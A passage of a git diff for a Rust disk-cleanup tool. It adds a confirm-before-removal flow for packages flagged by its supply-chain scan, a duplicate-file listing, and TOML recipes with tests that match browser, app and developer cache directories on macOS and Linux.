match removal { + SecurityRemoval::Npm | SecurityRemoval::Pip => { + let kind = if removal == SecurityRemoval::Npm { + ManagerKind::Npm + } else { + ManagerKind::Pip + }; + let outcome = + PackageManagers::uninstall(kind, std::slice::from_ref(&package_name)).await; + if outcome.ok { + Ok(outcome.message) + } else { + Err(outcome.message) + } + } + SecurityRemoval::Trash | SecurityRemoval::NotRemovable => { + let shown = path.display().to_string(); + let path_for_task = path.clone(); + tokio::task::spawn_blocking(move || { + let (event_tx, _event_rx) = mpsc::channel(64); + orchestrator.trash_suggestion(&path_for_task, &event_tx) + }) + .await + .unwrap_or_else(|join_err| { + Err(cleanton_common::CleantonError::Scan(format!( + "trash task failed: {join_err}" + ))) + }) + .map(|execution| { + if execution + .actions + .iter() + .any(|action| action.status == cleanton_common::ExecutionStatus::Failed) + { + Err("the item could not be moved to the Trash".to_owned()) + } else { + Ok(format!("Moved {shown} to the Trash.")) + } + }) + .unwrap_or_else(|err| Err(err.to_string())) + } + }; + let _ = tx + .send(TuiEvent::SecurityRemoveFinished { name, outcome }) + .await; + }); +} + /// Mark every flagged package as reviewed/trusted (one baseline write). fn trust_all_security_packages(app: &mut App) { let Some(path) = cleanton_engine::default_baseline_path() else { diff --git a/crates/cleanton-ui/src/screens/results.rs b/crates/cleanton-ui/src/screens/results.rs index e58ceeb..93e73d7 100644 --- a/crates/cleanton-ui/src/screens/results.rs +++ b/crates/cleanton-ui/src/screens/results.rs @@ -265,6 +265,9 @@ fn render_review_panel(f: &mut Frame, app: &App, area: Rect) { /// How many snapshot rows the review panel shows at once. const SNAPSHOT_ROWS_SHOWN: usize = 3; +/// Copies listed per duplicate set. The panel is narrow, so this is a preview: +/// the Slint app lists every copy and is the place to act on a set. +const DUPLICATE_COPIES_SHOWN: usize = 4; /// Panel height for the snapshot block: 0 hides it entirely (query succeeded /// with zero snapshots), a short block discloses a failed query, and the full @@ -570,6 +573,23 @@ fn render_suggestions(f: &mut Frame, app: &App, area: Rect) { ), Style::default().fg(app.theme.fg), ))); + // Parity with the Slint app: every copy is listed, not just the + // first, so the user can see which file lives where. + for copy in set.paths.iter().take(DUPLICATE_COPIES_SHOWN) { + lines.push(Line::from(Span::styled( + format!(" {}", path_tail(copy)), + Style::default().fg(app.theme.muted), + ))); + } + if set.paths.len() > DUPLICATE_COPIES_SHOWN { + lines.push(Line::from(Span::styled( + format!( + " +{} more not listed", + set.paths.len().saturating_sub(DUPLICATE_COPIES_SHOWN) + ), + Style::default().fg(app.theme.muted), + ))); + } } } diff --git a/crates/cleanton-ui/src/screens/security.rs b/crates/cleanton-ui/src/screens/security.rs index 146fa89..1adfe5d 100644 --- a/crates/cleanton-ui/src/screens/security.rs +++ b/crates/cleanton-ui/src/screens/security.rs @@ -1,13 +1,17 @@ -//! Security screen: read-only supply-chain scan diffed against the trusted -//! baseline. +//! Security screen: supply-chain scan diffed against the trusted baseline. //! //! Mirrors the Slint app's Security tab: an idle state explaining the //! baseline + diff model, a progress state with a packages-scanned counter, //! and a results state with a tone-colored summary banner plus the surfaced //! packages (new / updated / changed-without-version-bump) sorted worst-first -//! — known unchanged packages are collapsed into a count. Detection and -//! notification only — this screen offers NO destructive action; trusting a -//! package updates the baseline metadata file, never the package. +//! — known unchanged packages are collapsed into a count. +//! +//! The scan itself stays read-only. A flagged package can additionally be +//! removed, but only through the same two-step arm/confirm flow the Slint app +//! uses (`[r]` arms, `[y]` runs, `[n]` cancels), and the policy lives in +//! `PackageReport::removal()` so both UIs offer exactly the same action. Host +//! persistence files are the user's own files and are never removable. +//! Trusting a package updates the baseline metadata file, never the package. use crate::app::App; use cleanton_engine::security::{Verdict, severity_label}; @@ -406,6 +410,51 @@ fn render_findings(f: &mut Frame, app: &App, area: Rect) { " Or press [t] to trust it (updates the baseline only; the package is never touched).", Style::default().fg(app.theme.muted), ))); + // Two-step removal, mirroring the Slint Security tab exactly: the armed + // panel spells out what [y] would do, and says plainly that nothing has + // happened yet. The wording comes from the engine's shared copy. + if app.security_pending_remove == Some(app.security_selected) { + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + format!( + " \u{26a0} Confirm: {} {}", + package.removal().verb(), + package.display_name() + ), + Style::default() + .fg(app.theme.danger) + .add_modifier(Modifier::BOLD), + ))); + lines.push(Line::from(Span::styled( + format!(" {}", package.removal_explanation()), + Style::default().fg(app.theme.fg), + ))); + lines.push(Line::from(Span::styled( + " Press [y] to proceed, [n] to cancel. Nothing has happened yet.", + Style::default() + .fg(app.theme.warning) + .add_modifier(Modifier::BOLD), + ))); + } else if app.security_removing { + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + format!(" {} in progress...", package.removal().verb()), + Style::default().fg(app.theme.warning), + ))); + } else if package.is_removable() { + lines.push(Line::from(Span::styled( + format!( + " Or press [r] to {} it (two-step: [y] confirms, [n] cancels).", + package.removal().verb().to_lowercase() + ), + Style::default().fg(app.theme.muted), + ))); + } else { + lines.push(Line::from(Span::styled( + " Cleanton will not remove this: it is your own file. Open it and delete the flagged line.", + Style::default().fg(app.theme.muted), + ))); + } f.render_widget(Paragraph::new(lines).wrap(Wrap { trim: false }), inner); } @@ -460,6 +509,35 @@ fn render_help(f: &mut Frame, app: &App, area: Rect) { Style::default().fg(app.theme.fg), ), ]), + Line::from(vec![ + Span::styled( + " [r] ", + Style::default() + .fg(app.theme.danger) + .add_modifier(Modifier::BOLD), + ), + Span::styled( + "Remove selected (nothing runs) ", + Style::default().fg(app.theme.fg), + ), + Span::styled( + "[y] ", + Style::default() + .fg(app.theme.danger) + .add_modifier(Modifier::BOLD), + ), + Span::styled( + "Confirm ", + Style::default().fg(app.theme.fg), + ), + Span::styled( + "[n] ", + Style::default() + .fg(app.theme.accent) + .add_modifier(Modifier::BOLD), + ), + Span::styled("Cancel", Style::default().fg(app.theme.fg)), + ]), Line::from(vec![ Span::styled( " [Up/Down] ", @@ -468,7 +546,7 @@ fn render_help(f: &mut Frame, app: &App, area: Rect) { .add_modifier(Modifier::BOLD), ), Span::styled( - "Browse flagged packages (read-only: nothing here deletes)", + "Browse flagged packages (moving the cursor disarms a removal)", Style::default().fg(app.theme.fg), ), ]), diff --git a/doc/RECIPES.md b/doc/RECIPES.md index 1eb3251..74a8538 100644 --- a/doc/RECIPES.md +++ b/doc/RECIPES.md @@ -212,6 +212,15 @@ regardless of how broad a recipe's glob is. | **Action** | Trash | | **Notes** | Downloaded dependencies and compilation cache for Deno. | +### `node-bundler-caches` +| Field | Value | +|---|---| +| **Name** | Node Bundler Caches | +| **Safety** | `safe` | +| **Match** | `**/node_modules/.cache/{babel-loader,swc,nx,storybook}/**` inside a directory containing `package.json` | +| **Action** | Trash | +| **Notes** | Each tool rebuilds its own subdirectory on the next run. | + --- ## Category: `python` @@ -502,6 +511,46 @@ not propose fake `docker-dummy-*` path actions. | **Min Age** | 60 days | | **Action** | Trash | +### `browser-edge-http-cache` +| Field | Value | +|---|---| +| **Name** | Edge HTTP Cache | +| **Safety** | `cautious` | +| **Match** | `~/Library/Application Support/Microsoft Edge/*/Cache/Cache_Data/**`, `~/.config/microsoft-edge/*/Cache/Cache_Data/**` | +| **Min Age** | 7 days | +| **Action** | Trash | +| **Notes** | Profile databases (History, Bookmarks, Login Data) are siblings and never match. | + +### `browser-brave-http-cache` +| Field | Value | +|---|---| +| **Name** | Brave HTTP Cache | +| **Safety** | `cautious` | +| **Match** | `~/Library/Application Support/BraveSoftware/Brave-Browser/*/Cache/Cache_Data/**`, `~/.config/BraveSoftware/Brave-Browser/*/Cache/Cache_Data/**` | +| **Min Age** | 7 days | +| **Action** | Trash | +| **Notes** | Profile databases (History, Bookmarks, Login Data) are siblings and never match. | + +### `browser-vivaldi-http-cache` +| Field | Value | +|---|---| +| **Name** | Vivaldi HTTP Cache | +| **Safety** | `cautious` | +| **Match** | `~/Library/Application Support/Vivaldi/*/Cache/Cache_Data/**`, `~/.config/vivaldi/*/Cache/Cache_Data/**` | +| **Min Age** | 7 days | +| **Action** | Trash | +| **Notes** | Profile databases (History, Bookmarks, Login Data) are siblings and never match. | + +### `apps-discord-cache` +| Field | Value | +|---|---| +| **Name** | Discord Cache | +| **Safety** | `cautious` | +| **Match** | `~/Library/Application Support/discord/Cache/**`, `~/.config/discord/Cache/**` | +| **Min Age** | 14 days | +| **Action** | Trash | +| **Notes** | Only the Cache subtree; Local Storage, IndexedDB and settings hold your session and never match. | + --- ## Category: `system` @@ -562,6 +611,76 @@ not propose fake `docker-dummy-*` path actions. | **Action** | Trash | | **Notes** | Crash reports may be needed for symbolication, bug reports, and app support. | +### `system-thumbnail-cache` +| Field | Value | +|---|---| +| **Name** | Thumbnail Caches | +| **Safety** | `safe` | +| **Match** | `~/.cache/thumbnails/**`, `~/Library/Caches/com.apple.iconservices/**` | +| **Min Age** | 14 days | +| **Action** | Trash | +| **Notes** | Derived image stores the desktop regenerates on demand; originals are untouched. | + +### `system-security-scanner-caches` +| Field | Value | +|---|---| +| **Name** | Security Scanner Caches | +| **Safety** | `safe` | +| **Match** | `~/.cache/{trivy,grype,snyk}/**`, `~/Library/Caches/{trivy,grype}/**` | +| **Min Age** | 14 days | +| **Action** | Trash | +| **Notes** | Local copies of the vulnerability feeds; every scanner re-downloads them. | + +### `system-package-manager-caches` +| Field | Value | +|---|---| +| **Name** | System Package Manager Caches | +| **Safety** | `safe` | +| **Match** | `~/.cache/{snapcraft,flatpak,packagekit}/**` | +| **Min Age** | 30 days | +| **Action** | Trash | +| **Notes** | `/var/cache/apt` is deliberately not matched because only root may clear it. | + +### `helm-kubernetes-caches` +| Field | Value | +|---|---| +| **Name** | Helm Caches | +| **Safety** | `safe` | +| **Match** | `~/.cache/helm/**`, `~/Library/Caches/helm/**` | +| **Min Age** | 30 days | +| **Action** | Trash | +| **Notes** | Cached chart archives and repository indexes; `~/.kube` is never touched. | + +### `firebase-emulator-cache` +| Field | Value | +|---|---| +| **Name** | Firebase Emulator Caches | +| **Safety** | `cautious` | +| **Match** | `~/.cache/firebase/emulators/**`, `~/Library/Caches/firebase/emulators/**` | +| **Min Age** | 30 days | +| **Action** | Trash | +| **Notes** | Downloaded emulator jars only; credentials and exported data are siblings. | + +### `nim-cache` +| Field | Value | +|---|---| +| **Name** | Nim Cache | +| **Safety** | `safe` | +| **Match** | `~/.cache/nim/**`, `~/Library/Caches/nim/**` | +| **Min Age** | 30 days | +| **Action** | Trash | +| **Notes** | Generated C sources the compiler rewrites on every build. | + +### `ocaml-dune-cache` +| Field | Value | +|---|---| +| **Name** | Dune Cache | +| **Safety** | `safe` | +| **Match** | `~/.cache/dune/**`, `~/Library/Caches/dune/**` | +| **Min Age** | 30 days | +| **Action** | Trash | +| **Notes** | Dune's shared build artefacts. | + --- ## Category: `go` diff --git a/recipes/ai-copilot-cache.toml b/recipes/ai-copilot-cache.toml index 1c81672..a2652e3 100644 --- a/recipes/ai-copilot-cache.toml +++ b/recipes/ai-copilot-cache.toml @@ -14,10 +14,24 @@ priority = 50 path_glob = "~/Library/Caches/github-copilot/**" min_age_days = 7 +# Linux (XDG): the Copilot CLI's cache directory. +[[match.any_of]] +min_age_days = 7 +path_glob = "~/.cache/github-copilot/**" + [action] type = "trash" prompt = "Move {size} of GitHub Copilot cache to Trash?" [test] -should_match = ["~/Library/Caches/github-copilot/completions/foo"] -should_not_match = ["~/Library/Caches/Tabnine", "~/Library/Caches/co.tabnine.tabnine", "~/.config/github-copilot/hosts.json", "~/.config/github-copilot/apps.json"] +should_match = [ + "~/Library/Caches/github-copilot/completions/foo", + "~/.cache/github-copilot/foo", +] +should_not_match = [ + "~/Library/Caches/Tabnine", + "~/Library/Caches/co.tabnine.tabnine", + "~/.config/github-copilot/hosts.json", + "~/.config/github-copilot/apps.json", + "~/.cache/other/foo", +] diff --git a/recipes/android-studio-caches.toml b/recipes/android-studio-caches.toml index 3671e8e..ee201f5 100644 --- a/recipes/android-studio-caches.toml +++ b/recipes/android-studio-caches.toml @@ -13,10 +13,21 @@ priority = 50 path_glob = "~/Library/Caches/Google/AndroidStudio*/**" min_age_days = 14 +# Linux (XDG): Android Studio caches under XDG_CACHE_HOME. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/Google/AndroidStudio*/**" + [action] type = "trash" prompt = "Move {size} of Android Studio caches to Trash?" [test] -should_match = ["~/Library/Caches/Google/AndroidStudio2025.1/caches/content.dat.storageData"] -should_not_match = ["~/Library/Application Support/Google/AndroidStudio2025.1/options/ide.general.xml"] +should_match = [ + "~/Library/Caches/Google/AndroidStudio2025.1/caches/content.dat.storageData", + "~/.cache/Google/AndroidStudio2024.1/tmp/foo", +] +should_not_match = [ + "~/Library/Application Support/Google/AndroidStudio2025.1/options/ide.general.xml", + "~/.cache/Google/other/foo", +] diff --git a/recipes/apps-discord-cache.toml b/recipes/apps-discord-cache.toml new file mode 100644 index 0000000..1e73862 --- /dev/null +++ b/recipes/apps-discord-cache.toml @@ -0,0 +1,33 @@ +[recipe] +id = "apps-discord-cache" +name = "Discord Cache" +# Matches only the Cache subtree. Local Storage, IndexedDB and settings +# (which hold your session) are siblings and never match. +description = "Discord's Chromium disk cache (rebuilt while the app runs)" +category = "apps" +safety_level = "cautious" +enabled = true +priority = 55 + +[match] +path_glob = "~/Library/Application Support/discord/Cache/**" +min_age_days = 14 + +# Linux: Discord keeps its Electron profile in ~/.config. +[[match.any_of]] +path_glob = "~/.config/discord/Cache/**" +min_age_days = 14 + +[action] +type = "trash" +prompt = "Move {size} of Discord cache to Trash?" + +[test] +should_match = [ + "~/Library/Application Support/discord/Cache/f_000001", + "~/.config/discord/Cache/f_000002", +] +should_not_match = [ + "~/Library/Application Support/discord/settings.json", + "~/.config/discord/Local Storage/leveldb/000003.log", +] diff --git a/recipes/apps-slack-cache.toml b/recipes/apps-slack-cache.toml index a114179..4488224 100644 --- a/recipes/apps-slack-cache.toml +++ b/recipes/apps-slack-cache.toml @@ -16,13 +16,22 @@ priority = 50 path_glob = "~/Library/Caches/com.tinyspeck.slackmacgap/**" min_age_days = 14 +# Linux: Slack keeps the Chromium cache in its config dir. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.config/Slack/Cache/**" + [action] type = "trash" prompt = "Move {size} of Slack cache to Trash? Slack re-fetches it on demand." [test] -should_match = ["~/Library/Caches/com.tinyspeck.slackmacgap/Cache/CacheData/abc"] +should_match = [ + "~/Library/Caches/com.tinyspeck.slackmacgap/Cache/CacheData/abc", + "~/.config/Slack/Cache/foo", +] should_not_match = [ "~/Library/Caches/com.tinyspeck.slackmacgapx/Cache/CacheData/abc", "~/projects/Slack/Cache/CacheData/abc", + "~/.config/Slack/storage/slack-teams", ] diff --git a/recipes/apps-spotify-cache.toml b/recipes/apps-spotify-cache.toml index 0c3739b..ad4ea39 100644 --- a/recipes/apps-spotify-cache.toml +++ b/recipes/apps-spotify-cache.toml @@ -13,10 +13,22 @@ priority = 50 path_glob = "~/Library/Caches/com.spotify.client/**" min_age_days = 14 +# Linux (XDG): Spotify's cached media under XDG_CACHE_HOME. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/spotify/**" + [action] type = "trash" prompt = "Move {size} of Spotify cache to Trash?" [test] -should_match = ["~/Library/Caches/com.spotify.client/Data/ab/abcdef.file"] -should_not_match = ["~/Library/Application Support/Spotify/prefs", "~/Library/Application Support/Spotify/PersistentCache/Storage/00/00abcdef.file"] +should_match = [ + "~/Library/Caches/com.spotify.client/Data/ab/abcdef.file", + "~/.cache/spotify/Data/foo", +] +should_not_match = [ + "~/Library/Application Support/Spotify/prefs", + "~/Library/Application Support/Spotify/PersistentCache/Storage/00/00abcdef.file", + "~/.cache/other/foo", +] diff --git a/recipes/apps-zoom-cache.toml b/recipes/apps-zoom-cache.toml index cf10912..a026402 100644 --- a/recipes/apps-zoom-cache.toml +++ b/recipes/apps-zoom-cache.toml @@ -14,10 +14,22 @@ priority = 50 path_glob = "~/Library/Caches/us.zoom.xos/**" min_age_days = 14 +# Linux (XDG): Zoom's cache directory. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/zoom/**" + [action] type = "trash" prompt = "Move {size} of Zoom cache to Trash?" [test] -should_match = ["~/Library/Caches/us.zoom.xos/Cache.db"] -should_not_match = ["~/Library/Application Support/zoom.us/data/zoomus.db", "~/Library/Caches/us.zoom.videomeetings.plist"] +should_match = [ + "~/Library/Caches/us.zoom.xos/Cache.db", + "~/.cache/zoom/logs/foo", +] +should_not_match = [ + "~/Library/Application Support/zoom.us/data/zoomus.db", + "~/Library/Caches/us.zoom.videomeetings.plist", + "~/.cache/other/foo", +] diff --git a/recipes/browser-brave-http-cache.toml b/recipes/browser-brave-http-cache.toml new file mode 100644 index 0000000..2fc6a24 --- /dev/null +++ b/recipes/browser-brave-http-cache.toml @@ -0,0 +1,34 @@ +[recipe] +id = "browser-brave-http-cache" +name = "Brave HTTP Cache" +# Matches only the per-profile Cache/Cache_Data subtree that Brave rebuilds +# while browsing. Profile databases (History, Bookmarks, Login Data, +# Cookies) are sibling files and never match. +description = "Brave per-profile HTTP disk cache (rebuilt while browsing)" +category = "apps" +safety_level = "cautious" +enabled = true +priority = 55 + +[match] +path_glob = "~/Library/Application Support/BraveSoftware/Brave-Browser/*/Cache/Cache_Data/**" +min_age_days = 7 + +# Linux (XDG): Brave keeps its profile in ~/.config. +[[match.any_of]] +path_glob = "~/.config/BraveSoftware/Brave-Browser/*/Cache/Cache_Data/**" +min_age_days = 7 + +[action] +type = "trash" +prompt = "Move {size} of Brave HTTP cache to Trash?" + +[test] +should_match = [ + "~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Cache/Cache_Data/f_000001", + "~/.config/BraveSoftware/Brave-Browser/Default/Cache/Cache_Data/f_000002", +] +should_not_match = [ + "~/Library/Application Support/BraveSoftware/Brave-Browser/Default/History", + "~/.config/BraveSoftware/Brave-Browser/Default/Bookmarks", +] diff --git a/recipes/browser-edge-http-cache.toml b/recipes/browser-edge-http-cache.toml new file mode 100644 index 0000000..43d6931 --- /dev/null +++ b/recipes/browser-edge-http-cache.toml @@ -0,0 +1,35 @@ +[recipe] +id = "browser-edge-http-cache" +name = "Edge HTTP Cache" +# Matches only the per-profile Cache/Cache_Data subtree (Default, Profile 1, +# ...) that Edge rebuilds while browsing. Profile databases (History, +# Bookmarks, Login Data, Cookies) are sibling files and never match. +description = "Microsoft Edge per-profile HTTP disk cache (rebuilt while browsing)" +category = "apps" +safety_level = "cautious" +enabled = true +priority = 55 + +[match] +path_glob = "~/Library/Application Support/Microsoft Edge/*/Cache/Cache_Data/**" +min_age_days = 7 + +# Linux (XDG): Edge keeps its profile in ~/.config. +[[match.any_of]] +path_glob = "~/.config/microsoft-edge/*/Cache/Cache_Data/**" +min_age_days = 7 + +[action] +type = "trash" +prompt = "Move {size} of Edge HTTP cache to Trash?" + +[test] +should_match = [ + "~/Library/Application Support/Microsoft Edge/Default/Cache/Cache_Data/f_000001", + "~/.config/microsoft-edge/Default/Cache/Cache_Data/f_000002", +] +should_not_match = [ + "~/Library/Application Support/Microsoft Edge/Default/History", + "~/.config/microsoft-edge/Default/Bookmarks", + "~/.config/microsoft-edge/Default/Login Data", +] diff --git a/recipes/browser-firefox-cache.toml b/recipes/browser-firefox-cache.toml index a7d2cf2..90cee83 100644 --- a/recipes/browser-firefox-cache.toml +++ b/recipes/browser-firefox-cache.toml @@ -14,10 +14,22 @@ priority = 50 path_glob = "~/Library/Caches/Firefox/**" min_age_days = 7 +# Linux (XDG): Firefox's per-profile cache2 subtree. +[[match.any_of]] +min_age_days = 7 +path_glob = "~/.cache/mozilla/firefox/**/cache2/**" + [action] type = "trash" prompt = "Move {size} of Firefox cache to Trash?" [test] -should_match = ["~/Library/Caches/Firefox/Profiles/abcd1234.default-release/cache2/entries/0123456789ABCDEF"] -should_not_match = ["~/Library/Application Support/Firefox/Profiles/abcd1234.default-release/places.sqlite", "~/Library/Caches/Mozilla/updates/update.log"] +should_match = [ + "~/Library/Caches/Firefox/Profiles/abcd1234.default-release/cache2/entries/0123456789ABCDEF", + "~/.cache/mozilla/firefox/abc.default-release/cache2/entries/foo", +] +should_not_match = [ + "~/Library/Application Support/Firefox/Profiles/abcd1234.default-release/places.sqlite", + "~/Library/Caches/Mozilla/updates/update.log", + "~/.cache/mozilla/firefox/abc.default-release/places.sqlite", +] diff --git a/recipes/browser-vivaldi-http-cache.toml b/recipes/browser-vivaldi-http-cache.toml new file mode 100644 index 0000000..888e456 --- /dev/null +++ b/recipes/browser-vivaldi-http-cache.toml @@ -0,0 +1,34 @@ +[recipe] +id = "browser-vivaldi-http-cache" +name = "Vivaldi HTTP Cache" +# Matches only the per-profile Cache/Cache_Data subtree that Vivaldi +# rebuilds while browsing. Profile databases are sibling files and never +# match. +description = "Vivaldi per-profile HTTP disk cache (rebuilt while browsing)" +category = "apps" +safety_level = "cautious" +enabled = true +priority = 55 + +[match] +path_glob = "~/Library/Application Support/Vivaldi/*/Cache/Cache_Data/**" +min_age_days = 7 + +# Linux (XDG): Vivaldi keeps its profile in ~/.config. +[[match.any_of]] +path_glob = "~/.config/vivaldi/*/Cache/Cache_Data/**" +min_age_days = 7 + +[action] +type = "trash" +prompt = "Move {size} of Vivaldi HTTP cache to Trash?" + +[test] +should_match = [ + "~/Library/Application Support/Vivaldi/Default/Cache/Cache_Data/f_000001", + "~/.config/vivaldi/Default/Cache/Cache_Data/f_000002", +] +should_not_match = [ + "~/Library/Application Support/Vivaldi/Default/History", + "~/.config/vivaldi/Default/Bookmarks", +] diff --git a/recipes/firebase-emulator-cache.toml b/recipes/firebase-emulator-cache.toml new file mode 100644 index 0000000..64c4da6 --- /dev/null +++ b/recipes/firebase-emulator-cache.toml @@ -0,0 +1,33 @@ +[recipe] +id = "firebase-emulator-cache" +name = "Firebase Emulator Caches" +# Matches only the cache subtree. firebaserc, the credentials file and the +# emulator's exported data are siblings and never match. +description = "Firebase emulators' cached downloads and emulator state" +category = "system" +safety_level = "cautious" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/firebase/emulators/**" +min_age_days = 30 + +# macOS: the emulators' downloaded jars. +[[match.any_of]] +path_glob = "~/Library/Caches/firebase/emulators/**" +min_age_days = 30 + +[action] +type = "trash" +prompt = "Move {size} of Firebase emulator caches to Trash?" + +[test] +should_match = [ + "~/.cache/firebase/emulators/firestore-v1.19.8.jar", + "~/Library/Caches/firebase/emulators/firestore-v1.19.8.jar", +] +should_not_match = [ + "~/.cache/firebase/other/foo", + "~/.config/configstore/firebase-tools.json", +] diff --git a/recipes/go-build-cache.toml b/recipes/go-build-cache.toml index 8a95c96..66cbd59 100644 --- a/recipes/go-build-cache.toml +++ b/recipes/go-build-cache.toml @@ -10,10 +10,21 @@ priority = 50 [match] path_glob = "~/Library/Caches/go-build/**" +# Linux (XDG): GOCACHE defaults to ~/.cache/go-build. +[[match.any_of]] +path_glob = "~/.cache/go-build/**" + [action] type = "trash" prompt = "Move {size} of Go build cache to Trash?" [test] -should_match = ["~/Library/Caches/go-build/00/0000000000000000000000000000000000000000-d"] -should_not_match = ["~/Library/Caches/Yarn", "~/go/bin/gopls"] +should_match = [ + "~/Library/Caches/go-build/00/0000000000000000000000000000000000000000-d", + "~/.cache/go-build/00/0000000000000000000000000000000000000000-d", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/go/bin/gopls", + "~/.cache/other/thing", +] diff --git a/recipes/go-golangci-lint-cache.toml b/recipes/go-golangci-lint-cache.toml index 8170ae2..367ea70 100644 --- a/recipes/go-golangci-lint-cache.toml +++ b/recipes/go-golangci-lint-cache.toml @@ -11,10 +11,21 @@ priority = 50 path_glob = "~/Library/Caches/golangci-lint/**" min_age_days = 14 +# Linux (XDG): XDG_CACHE_HOME/golangci-lint. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/golangci-lint/**" + [action] type = "trash" prompt = "Move {size} of golangci-lint cache to Trash?" [test] -should_match = ["~/Library/Caches/golangci-lint/abc123/analysis.bin"] -should_not_match = ["~/Library/Caches/Yarn"] +should_match = [ + "~/Library/Caches/golangci-lint/abc123/analysis.bin", + "~/.cache/golangci-lint/tmp/abc", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/.cache/golangci-lint-other/x", +] diff --git a/recipes/helm-kubernetes-caches.toml b/recipes/helm-kubernetes-caches.toml new file mode 100644 index 0000000..3a69efd --- /dev/null +++ b/recipes/helm-kubernetes-caches.toml @@ -0,0 +1,32 @@ +[recipe] +id = "helm-kubernetes-caches" +name = "Helm Caches" +# helm pull/helm dependency rebuild both subtrees on demand. ~/.kube and the +# cluster credentials are never touched. +description = "Helm's cached chart archives and repository indexes" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/helm/**" +min_age_days = 30 + +# macOS: Helm's cache directory. +[[match.any_of]] +path_glob = "~/Library/Caches/helm/**" +min_age_days = 30 + +[action] +type = "trash" +prompt = "Move {size} of Helm caches to Trash?" + +[test] +should_match = [ + "~/.cache/helm/repository/nginx-1.0.0.tgz", + "~/Library/Caches/helm/repository/nginx-1.0.0.tgz", +] +should_not_match = [ + "~/.cache/other/foo", +] diff --git a/recipes/ide-jetbrains-caches.toml b/recipes/ide-jetbrains-caches.toml index 52e64e3..4710b5e 100644 --- a/recipes/ide-jetbrains-caches.toml +++ b/recipes/ide-jetbrains-caches.toml @@ -13,10 +13,21 @@ priority = 50 path_glob = "~/Library/Caches/JetBrains/**" min_age_days = 14 +# Linux (XDG): JetBrains caches under XDG_CACHE_HOME. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/JetBrains/**" + [action] type = "trash" prompt = "Move {size} of JetBrains IDE caches to Trash?" [test] -should_match = ["~/Library/Caches/JetBrains/IntelliJIdea2025.2/caches/records.dat"] -should_not_match = ["~/Library/Application Support/JetBrains/IntelliJIdea2025.2/options/other.xml"] +should_match = [ + "~/Library/Caches/JetBrains/IntelliJIdea2025.2/caches/records.dat", + "~/.cache/JetBrains/IntelliJIdea2024.1/tmp/foo", +] +should_not_match = [ + "~/Library/Application Support/JetBrains/IntelliJIdea2025.2/options/other.xml", + "~/.cache/other/foo", +] diff --git a/recipes/ide-zed-cache.toml b/recipes/ide-zed-cache.toml index 13084c4..4d9b66d 100644 --- a/recipes/ide-zed-cache.toml +++ b/recipes/ide-zed-cache.toml @@ -11,10 +11,21 @@ priority = 50 path_glob = "~/Library/Caches/dev.zed.Zed*/**" min_age_days = 14 +# Linux (XDG): Zed's cache directory. +[[match.any_of]] +min_age_days = 14 +path_glob = "~/.cache/zed/**" + [action] type = "trash" prompt = "Move {size} of Zed caches to Trash?" [test] -should_match = ["~/Library/Caches/dev.zed.Zed/embeddings/model.bin"] -should_not_match = ["~/.config/zed/keymap.json"] +should_match = [ + "~/Library/Caches/dev.zed.Zed/embeddings/model.bin", + "~/.cache/zed/logs/foo", +] +should_not_match = [ + "~/.config/zed/keymap.json", + "~/.cache/other/foo", +] diff --git a/recipes/jvm-coursier-cache.toml b/recipes/jvm-coursier-cache.toml index 336a12a..4c8bbea 100644 --- a/recipes/jvm-coursier-cache.toml +++ b/recipes/jvm-coursier-cache.toml @@ -11,10 +11,22 @@ priority = 50 path_glob = "~/Library/Caches/Coursier/**" min_age_days = 30 +# Linux (XDG): coursier's cache under XDG_CACHE_HOME. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/coursier/**" + [action] type = "trash" prompt = "Move {size} of Coursier cache to Trash?" [test] -should_match = ["~/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library.jar"] -should_not_match = ["~/Library/Caches/Yarn", "~/Library/Application Support/Coursier/credentials.properties"] +should_match = [ + "~/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library.jar", + "~/.cache/coursier/v1/https/example.com/foo.jar", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/Library/Application Support/Coursier/credentials.properties", + "~/.cache/other/foo", +] diff --git a/recipes/nim-cache.toml b/recipes/nim-cache.toml new file mode 100644 index 0000000..cdf97c3 --- /dev/null +++ b/recipes/nim-cache.toml @@ -0,0 +1,31 @@ +[recipe] +id = "nim-cache" +name = "Nim Cache" +# The nimcache holds generated C sources the compiler writes every build. +description = "Nim's compiler cache (regenerated on the next build)" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/nim/**" +min_age_days = 30 + +# macOS: Nim's cache directory. +[[match.any_of]] +path_glob = "~/Library/Caches/nim/**" +min_age_days = 30 + +[action] +type = "trash" +prompt = "Move {size} of Nim cache to Trash?" + +[test] +should_match = [ + "~/.cache/nim/app_r/foo.c", + "~/Library/Caches/nim/app_r/foo.c", +] +should_not_match = [ + "~/.cache/other/foo", +] diff --git a/recipes/node-bundler-caches.toml b/recipes/node-bundler-caches.toml new file mode 100644 index 0000000..861cf5b --- /dev/null +++ b/recipes/node-bundler-caches.toml @@ -0,0 +1,47 @@ +[recipe] +id = "node-bundler-caches" +name = "Node Bundler Caches" +# Each tool owns one subdirectory of node_modules/.cache and rebuilds it on +# the next run. The parent_must_contain marker keeps the glob inside real +# Node projects, so a stray .cache directory never matches. +description = "Per-project babel-loader, SWC, Nx and Storybook caches under node_modules/.cache" +category = "node" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "**/node_modules/.cache/babel-loader/**" +parent_must_contain = ["package.json"] + +# SWC: the Rust compiler's per-project cache. +[[match.any_of]] +path_glob = "**/node_modules/.cache/swc/**" +parent_must_contain = ["package.json"] + +# Nx: the monorepo task cache. +[[match.any_of]] +path_glob = "**/node_modules/.cache/nx/**" +parent_must_contain = ["package.json"] + +# Storybook: the built-storybook cache. +[[match.any_of]] 